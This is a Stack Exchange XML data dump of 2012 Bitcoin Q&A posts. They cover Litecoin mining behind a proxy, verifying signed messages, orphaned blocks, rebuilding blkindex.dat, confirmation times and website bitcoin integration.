  <row Id="4128" PostTypeId="2" ParentId="1575" CreationDate="2012-07-06T22:56:15.403" Score="1" Body="&lt;p&gt;I use &quot;chain currencies&quot;. There are precedents for crypto currencies. OT currencies are also crypto-currencies.&#xA;Ripple IOUs use cryptoGraphy in the distributed protocol too. The uniqueness is definitely in the block chain. &#xA;I often refer to them as just &quot;coins&quot; since most of them are called SomethingCoin.&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="192" LastEditDate="2012-10-11T20:47:21.580" LastActivityDate="2012-10-11T20:47:21.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4129" PostTypeId="2" ParentId="4125" CreationDate="2012-07-07T01:08:25.077" Score="0" Body="&lt;p&gt;The only data belonging in the block chain is what is necessary for the world to verify it is valid. Anything else is essentially private information between the sender and the receiver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there is much point in having nodes with local stricter additional validation rules. What if a transaction is sent that you yourself don't accept, but the rest of the world does?&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2012-07-08T11:06:16.240" LastActivityDate="2012-07-08T11:06:16.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4130" PostTypeId="1" AcceptedAnswerId="4419" CreationDate="2012-07-07T02:11:58.380" Score="3" ViewCount="15628" Body="&lt;p&gt;I've downloaded the Windows 64-bit Litecoin mining software as provided from &lt;a href=&quot;http://pool-x.eu/gettingstarted&quot; rel=&quot;nofollow&quot;&gt;http://pool-x.eu/gettingstarted&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to run the miner from behind a firewall. My browser uses an HTTP proxy to get to the internet, and as I understand it I should be able to use a similar method to connect my Litecoin miner to a pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, I've modified the file start.console.bat from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off&#xA;&#xA;START /LOW /B minerd.exe --algo scrypt --url http://litecoinpool.org:9332/ --userpass username.1:1 --threads 4 -r -1 -s 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@echo off&#xA;set HTTP_PROXY=http://myproxyserver:myport&#xA;START /LOW /B minerd.exe --algo scrypt --url http://litecoinpool.org:9332/ --userpass myusername.1:mypassword --threads 4 -r -1 -s 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've substituted my values in to take the place of the following values:&#xA;myproxyserver&#xA;myport&#xA;9332&#xA;myusername.1&#xA;mypassword&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try using the port my browser uses for the proxy server (for both port values), I get this output when I run it (and it spits out another error every 30 secs):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2012-07-07 13:57:48] HTTP request failed: The requested URL returned error: 503&#xA;&#xA;[2012-07-07 13:57:48] json_rpc_call failed, retry after 30 seconds&#xA;[2012-07-07 13:57:48] 1 miner threads started, using 'scrypt' algorithm.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should the port number for the proxy and for the mining script be the same? What settings can I use to get my miner working? &lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2016-04-28T12:41:58.000" LastActivityDate="2016-04-28T12:41:58.000" Title="How to run a litecoin miner behind a proxy server?" Tags="|mining-pools|litecoin|miner-configuration|installation|proxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4131" PostTypeId="1" AcceptedAnswerId="4134" CreationDate="2012-07-08T03:48:20.067" Score="7" ViewCount="1706" Body="&lt;p&gt;Can someone explain or point to some documents with pseudo code that would show me how to verify bitcoin address based on a signature and message. I know how to do this in clients I want to know how to programmatically do it.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="516" LastEditDate="2012-07-08T22:12:43.170" LastActivityDate="2013-05-04T17:45:19.337" Title="Pseudocode to verify a signed message" Tags="|address|message-signing|message-verification|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4132" PostTypeId="2" ParentId="4131" CreationDate="2012-07-08T04:14:20.273" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=70911.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this bitcointalk thread&lt;/a&gt;, it can be done via the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSON-RPC&lt;/a&gt; API:&#xA;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;verifymessage [address] [signature] [message]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/4137/516&quot;&gt;See here for non-programmatical methods&lt;/a&gt; to verify a message.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-07-08T22:25:22.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4133" PostTypeId="2" ParentId="4131" CreationDate="2012-07-08T04:34:11.393" Score="1" Body="&lt;p&gt;In the satoshi client the &lt;code&gt;verifymessage&lt;/code&gt; command is implemented by &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/9af3c3c8249785a0106c14bce1cb72b3afc536e8/src/bitcoinrpc.cpp#L661&quot; rel=&quot;nofollow&quot;&gt;this code&lt;/a&gt; which calls &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/9af3c3c8249785a0106c14bce1cb72b3afc536e8/src/key.cpp#L323&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;CKey::SetCompactSignature()&lt;/code&gt;&lt;/a&gt; to do its work.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-08T04:34:11.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4134" PostTypeId="2" ParentId="4131" CreationDate="2012-07-08T05:05:05.597" Score="4" Body="&lt;p&gt;Even better than pseudocode: here's some python code for message signing and verification, largely pilfered from the electrum client:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/nanotube/supybot-bitcoin-marketmonitor/blob/master/GPG/local/bitcoinsig.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nanotube/supybot-bitcoin-marketmonitor/blob/master/GPG/local/bitcoinsig.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2012-07-08T05:05:05.597" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4135" PostTypeId="1" AcceptedAnswerId="4168" CreationDate="2012-07-08T20:37:00.053" Score="5" ViewCount="3088" Body="&lt;p&gt;I'm very interested in doing some analysis of orphaned blocks, but to do so I'd have to have a good way of accessing them. Blockchain.info seems like a good place to start but I don't want to abuse their API by scraping the entire Blockchain. Another attempt was to use &lt;a href=&quot;https://github.com/jtobey/bitcoin-abe/&quot; rel=&quot;nofollow&quot;&gt;ABE&lt;/a&gt; but after parsing nearly all the blockchain from my Disk (several days of work) I am unable to find a single orphaned block, and I'm starting to fear that the satoshi client prunes old orphaned blocks, which would be a pity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I be able to find orphaned blocks with ABE, and if not what alternatives are there?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="5406" LastEditDate="2023-10-20T17:21:39.057" LastActivityDate="2023-10-20T17:21:39.057" Title="Getting orphaned Blocks from the Blockchain" Tags="|blockchain|block|blockchain-fork|stale-block|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4136" PostTypeId="1" AcceptedAnswerId="5743" CreationDate="2012-07-08T21:44:04.790" Score="9" ViewCount="627" Body="&lt;p&gt;The &quot;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot;&gt;importprivkey&lt;/a&gt;&quot; API call allows one to import a private key and save it with a label. Is the &quot;label&quot; in the API call synonymous with an account used in the wallet?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-12-12T11:42:11.657" Title="Importprivkey's &quot;label&quot; - is it the same as an account?" Tags="|wallet|bitcoind|json-rpc|api|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4137" PostTypeId="1" AcceptedAnswerId="4138" CreationDate="2012-07-08T22:18:26.670" Score="7" ViewCount="4083" Body="&lt;p&gt;I can send a signed message using the standard client, but if I see a signed message in, say, a forum, how can I verify it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this hasn't yet been implemented in the GUI for the standard client.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2015-02-18T19:49:31.203" Title="How can I verify a signed message?" Tags="|message-signing|message-verification|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4138" PostTypeId="2" ParentId="4137" CreationDate="2012-07-08T22:19:49.233" Score="5" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=70911.0&quot; rel=&quot;nofollow&quot;&gt;this bitcointalk thread&lt;/a&gt;, it can be done via the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC&lt;/a&gt; API:&#xA;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;verifymessage [address] [signature] [message]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This feature has also been included in the GUI of the &lt;a href=&quot;http://bitcoinarmory.com/&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt; client:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To Verify a Signature Block with Armory (works fine in offline mode):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Open Armory, go to the menu, &quot;Tools&quot;--&amp;gt;&quot;Message Signing&quot;&#xA;Click on &quot;Import Signature Block&quot; at the bottom of the screen.&#xA;Paste the signature block, and click &quot;Okay&quot;&#xA;Address will be checked against public key, public key checked against signature for the given message&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;None of this requires the blockchain, so if you are on a system that&#xA;  couldn't normally run Armory, you only need to run with the&#xA;  &quot;--noblockchain&quot; option.  This allows you to verify Armory signature&#xA;  blocks without even having an Armory wallet!  If you're intrigued, try&#xA;  this one:  (get Armory if necessary)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-10-24T03:51:13.550" LastActivityDate="2012-10-24T03:51:13.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4139" PostTypeId="1" AcceptedAnswerId="4140" CreationDate="2012-07-09T03:48:21.443" Score="11" ViewCount="6046" Body="&lt;p&gt;Currently, it is a timer which counts down from 10 minutes starting when the transaction is first seen. When the timer reaches 0 minutes, it switches to &quot;Unknown / Never.&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my understanding that finding blocks (and confirming transactions) is a Poisson process, hence the correct value should be a constant &quot;10 minutes&quot; and then &quot;Confirmed!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my understanding wrong?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2013-07-02T20:13:51.743" Title="Why does blockchain.info report &quot;Estimated Confirmation time&quot; not as 10 minutes?" Tags="|confirmations|blockchain.info|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4140" PostTypeId="2" ParentId="4139" CreationDate="2012-07-09T04:10:28.673" Score="7" Body="&lt;p&gt;You're correct; the expected confirmation time from any given point in time is always around 10 minutes (it may be a little more or less when the network hash rate has changed since the last difficulty adjustment). &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3909/516&quot;&gt;This question&lt;/a&gt; looked at that exact issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a retailer (or other transaction acceptor) doesn't necessarily need to wait for a block to be solved in order to accept a payment though. More info here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3240/516&quot;&gt;How has the problem of waiting for confirmations been eradicated?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/328/516&quot;&gt;How do I safely accept bitcoins without waiting for confirmations?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-07-09T05:00:45.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4141" PostTypeId="2" ParentId="4139" CreationDate="2012-07-09T06:23:55.883" Score="2" Body="&lt;p&gt;The expected confirmation time should really take the priority of the transaction into account.  If a transaction has insufficient fees attached to it then it will tend to take longer to confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if blockchain.info takes this into account or not.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-09T06:23:55.883" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4142" PostTypeId="2" ParentId="3338" CreationDate="2012-07-09T06:30:55.083" Score="4" Body="&lt;p&gt;I compared the standard deviation of (USD-denominated) price of bitcoins and the Russell Microcap Index Fund (IWC) which is an ETF (read: basket) of 1359(!) stocks with ca. 300million USD in market cap (each). This is a total apples to (buckets of) oranges comparison, but the results are as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IWC std dev:            3%&#xA;MtGox BTCUSD std dev:  12%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, over the last 6 months, the USD-denominated price of bitcoins has been 4 times as volatile as a basket of approx. 1000 stocks with similar market caps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a slightly better comparison, the volatility of BTCUSD is about 10x that of EURUSD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, bitcoin is quite stable, especially considering the ubiquitous press of it being so unstable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding trading fees:&#xA;Mt Gox's lowest fees are very high (~0.4%) compared to competitive stock brokers, such as Interactive Brokers (~0.1% max). This is similar for commodity futures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the speculative nature of bitcoins and market depth:&#xA;Stocks (esp. &quot;microcap&quot; stocks) are very speculative too, so stocks and bitcoins are similar in this regard. Similarly for any depth of market argument for stocks vs bitcoins, both can be moved by relatively small orders and have only a percentage available for trading on an exchange.&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2012-07-09T06:30:55.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4143" PostTypeId="1" CreationDate="2012-07-09T21:37:40.090" Score="-1" ViewCount="582" Body="&lt;p&gt;I use a VPN and regularly change my IP.  As it is, I've been running Bitcoin on and off (mostly &quot;on&quot;) for over a year now and have yet to generate anything (well, except lots of heat).  So I got to wondering if having different IP addresses would help explain this &quot;dry spell.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the responses. I'll be more clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;...running Bitcoin....&quot; means I have the &quot;Bitcoin client&quot; up and running with &quot;8 active connections to Bitcoin network.&quot; The green checkmark icon on the lower, right-hand portion of the &quot;Bitcoin Wallet&quot; window, which is what comes up when I single-click the &quot;Bitcoin Client&quot; icon in the System Tray, reports &quot;Up to date. Downloaded 188,522 blocks of transaction history. Last received block was generated 32 seconds ago&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;...generate anything....&quot; means I have a &quot;0.00 BTC&quot; balance in my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My system as a relatively-basic Windows Vista computer that is my primary device for reading, composing, blogging and (occasional) video watching; no gaming and the like. It does have a GPU (128M or 256M, as I recall) but it, as well as the system as a whole, is neither intended nor designed as a Bitcoin generator. I just thought since I'm online a lot during the day and do torrents overnight (the PC doesn't stay off for long), why not put it to work generating Bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I'm doing it incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok. I definitely didn't do this whole Bitcoin thing correctly from the start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As near as I can tell, I had downloaded and was running only my wallet; I was doing no mining (Sure pays to completely read directions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm now running the GUIMiner program, doing pool mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I'm now on the right track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="5406" LastEditDate="2016-03-31T10:42:39.430" LastActivityDate="2016-03-31T10:42:39.430" Title="Does Bitcoin work better for one user if they always use the same IP?" Tags="|miner-configuration|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4144" PostTypeId="2" ParentId="4143" CreationDate="2012-07-10T00:15:34.423" Score="3" Body="&lt;p&gt;If you are using the standard client alone in hopes of generating Bitcoins, you most likely won't solve a block in your lifetime, regardless of your IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using some GPU-based mining software, it will still take a long time. In general your IP does not affect it, as long as your miner is set up correctly (say, to a mining pool).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF you are hosting your own bitcoind instance and mining on two different machines, yes, it can make the difference, but only if your bitcoind's IP is changing, thus not allowing the miner to connect to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are just running the standard client in hopes of generating Bitcoins without any extra configuration, you are out of luck - the client by default is not generating Bitcoins, as it would be highly inefficient at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, unless you really know what you are doing, you ought to look into mining at a pool with a mining software such as &lt;a href=&quot;https://bitcointalk.org/?topic=3878.0&quot; rel=&quot;nofollow&quot;&gt;GUI miner&lt;/a&gt;. But first you really ought to check if it is really worth it. You can do such calculations using my &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin calculator&lt;/a&gt; and getting your hardware specs from &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Most likely you'll find the answer to be, that is it not profitable for you to mine Bitcoins, as your electricity costs will be greater than what you will earn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the future, be more clear about what you are trying to do and what is your setup, as it allows people to give more specific answers to your problems.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-07-10T00:15:34.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4145" PostTypeId="1" AcceptedAnswerId="4148" CreationDate="2012-07-10T08:17:06.817" Score="5" ViewCount="2865" Body="&lt;p&gt;My copy of &lt;code&gt;blkindex.dat&lt;/code&gt; became corrupted, but I still have the whole &lt;code&gt;blk0001.dat&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to reconstruct the &lt;code&gt;blkindex.dat&lt;/code&gt; file from the &lt;code&gt;blk0001.dat&lt;/code&gt; file or do I have to delete both files and redownload the whole blockchain from scratch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Pieter's answer is working for me.  It's taking many hours to run, but at least it isn't using any bandwidth.  I'm wondering, as a related question, whether this &lt;code&gt;bitcoind -loadblock=blk0001.dat.bak&lt;/code&gt; technique is a way of being able to get a trusted copy of the blockchain from an untrusted source.  If I download a blk0001.dat from a random website, then import it using this -loadblock command, does that ensure it's correct, and ask the network for anything the download was missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While running, the command just said:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SetBestChain: new best=00000000000004411998  height=174305  work=284206530118085534778&#xA;SetBestChain: new best=00000000000009a01d64  height=174306  work=284213516218692473063&#xA;InvalidChainFound: invalid block=000000000000038181de  height=174307  work=284220502319299411348&#xA;InvalidChainFound:  current best=00000000000009a01d64  height=174306  work=284213516218692473063&#xA;SetBestChain: new best=00000000000007e352ec  height=174307  work=284220502319299411348&#xA;SetBestChain: new best=00000000000006b4b91c  height=174308  work=284227488419906349633&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that normal, representing an orphaned block?  Or possibly the result of the same disk error that caused the &lt;code&gt;blkindex.dat&lt;/code&gt; to become corrupted initially?&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-07-11T02:07:16.550" LastActivityDate="2012-07-11T02:07:16.550" Title="Can I regenerate blkindex.dat from blk0001.dat?" Tags="|blockchain|database|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4146" PostTypeId="1" AcceptedAnswerId="4147" CreationDate="2012-07-10T08:21:22.973" Score="3" ViewCount="2019" Body="&lt;p&gt;I'm currently using &lt;a href=&quot;http://mtgoxlive.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mtgoxlive&lt;/a&gt; to view ask and bid walls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mgkR6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But ... I can't see the chart beyond about $1.5 +- the current price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another site for viewing ask/bid walls graphically, in a similar fashion to Mtgoxlive, that is limiting in the displayed data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, a nice to have would be historic wall data. There is the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=85687.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wall Observer Thread&lt;/a&gt; ... is there another site that does this?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-07-10T08:41:20.297" Title="What's a good site to see bid/ask walls?" Tags="|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4147" PostTypeId="2" ParentId="4146" CreationDate="2012-07-10T08:41:20.297" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://btccharts.com&quot; rel=&quot;nofollow&quot;&gt;btccharts.com&lt;/a&gt; is a better version of mtgoxlive.com - it lets you zoom out to see more price range, and has a bunch of other features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcointalk.org/?topic=55385&quot; rel=&quot;nofollow&quot;&gt;its forum thread&lt;/a&gt; for discussion of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: the site is currently &lt;a href=&quot;https://bitcointalk.org/index.php?topic=55385.msg1019423#msg1019423&quot; rel=&quot;nofollow&quot;&gt;down for maintenance&lt;/a&gt; but should be back soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot; rel=&quot;nofollow&quot;&gt;clarkmoody&lt;/a&gt; will show you a live updating view of the market, but the depth is shown numerically, not on a graph.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-10T08:41:20.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4148" PostTypeId="2" ParentId="4145" CreationDate="2012-07-10T10:20:52.883" Score="7" Body="&lt;p&gt;This is possible in git HEAD, and will be in 0.7.0. You can move the existing blk0001.dat elsewhere, delete blkindex.dat, and then start the client using &lt;code&gt;./bitcoind -loadblock=blk0001.dat.bak&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-07-10T10:20:52.883" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4150" PostTypeId="2" ParentId="3961" CreationDate="2012-07-10T18:46:16.170" Score="1" Body="&lt;p&gt;One possible way to deal with this is to set up a second bitcoind on a separate server, which is well connected to the network (i.e. not behind NAT or something strange like that) whose sole purpose is to listen to the network and take connections from your first bitcoind.&lt;/p&gt;&#xA;" OwnerUserId="1567" LastActivityDate="2012-07-10T18:46:16.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4151" PostTypeId="2" ParentId="419" CreationDate="2012-07-10T22:23:41.380" Score="1" Body="&lt;p&gt;Here you go!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHVRMHpqWUJValI1RlZiaEtCT1RrQmc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHVRMHpqWUJValI1RlZiaEtCT1RrQmc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Click the tab at the bottom Difficulty Versus Price for a chart view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As-of Jul 4, 2012 here's those charts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OkNoI.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NmKeP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-07-10T22:23:41.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4152" PostTypeId="1" AcceptedAnswerId="4156" CreationDate="2012-07-11T02:59:07.353" Score="5" ViewCount="1840" Body="&lt;p&gt;I started the standard client with &lt;code&gt;--rescan&lt;/code&gt; instead of &lt;code&gt;-rescan&lt;/code&gt; after switching wallets and before synchronizing with the latest blockchain, and made an going transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This transaction got &quot;stuck&quot;, never validating, even after the client caught up with the chain, after multiple restarts (last one with -rescan). I now have a &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/1164&quot; rel=&quot;nofollow&quot;&gt;too high balance&lt;/a&gt; shown in the client, and the tx never went out (I checked it in Blockchain.info).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the blockchain was synchronized, I create another similar tx (same amount and target address), and that one went through ... but the bad tx is still shown in my client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do about it?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-08-19T08:47:32.500" LastActivityDate="2016-08-19T08:47:32.500" Title="What to do about a &quot;stuck&quot; transaction?" Tags="|bitcoin-core|doublespend|rescan|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4153" PostTypeId="1" CreationDate="2012-07-11T03:40:40.217" Score="7" ViewCount="1341" Body="&lt;p&gt;I have a website which enables users to trade information for a price.&#xA;The price is calculated based on an algorithm within the website.&#xA;The website charges a percentage per transaction for the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how to go about enabling the users to perform the transaction using bitcoins as an alternative to credit card transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website is coded in Ruby on Rails, I am currently investigating bitcoind, and the bitcoin-ruby library but I'm feeling a little overwhelmed with new technology. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please explain how I might go this? I'm looking for an overview of the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: The website connects to a bitcoind server, and creates a unique wallet per user, then to provide transactions the users will need to transfer coins from somewhere to their personal website wallet. When the user wishes to purchase information from another user, the website then connects to the bitcoind and creates a transaction between the two wallets, and creates a second transaction to cover the website commision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made up this example from my basic understanding of the system - but what security issues are involved in this. Will this approach work, or is there a better way?&lt;/p&gt;&#xA;" OwnerUserId="967" LastEditorUserId="516" LastEditDate="2012-07-11T04:03:52.513" LastActivityDate="2012-07-11T05:24:40.530" Title="How to enable website users to transact with each other using bitcoins?" Tags="|transactions|development|bitcoind|website-integration|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
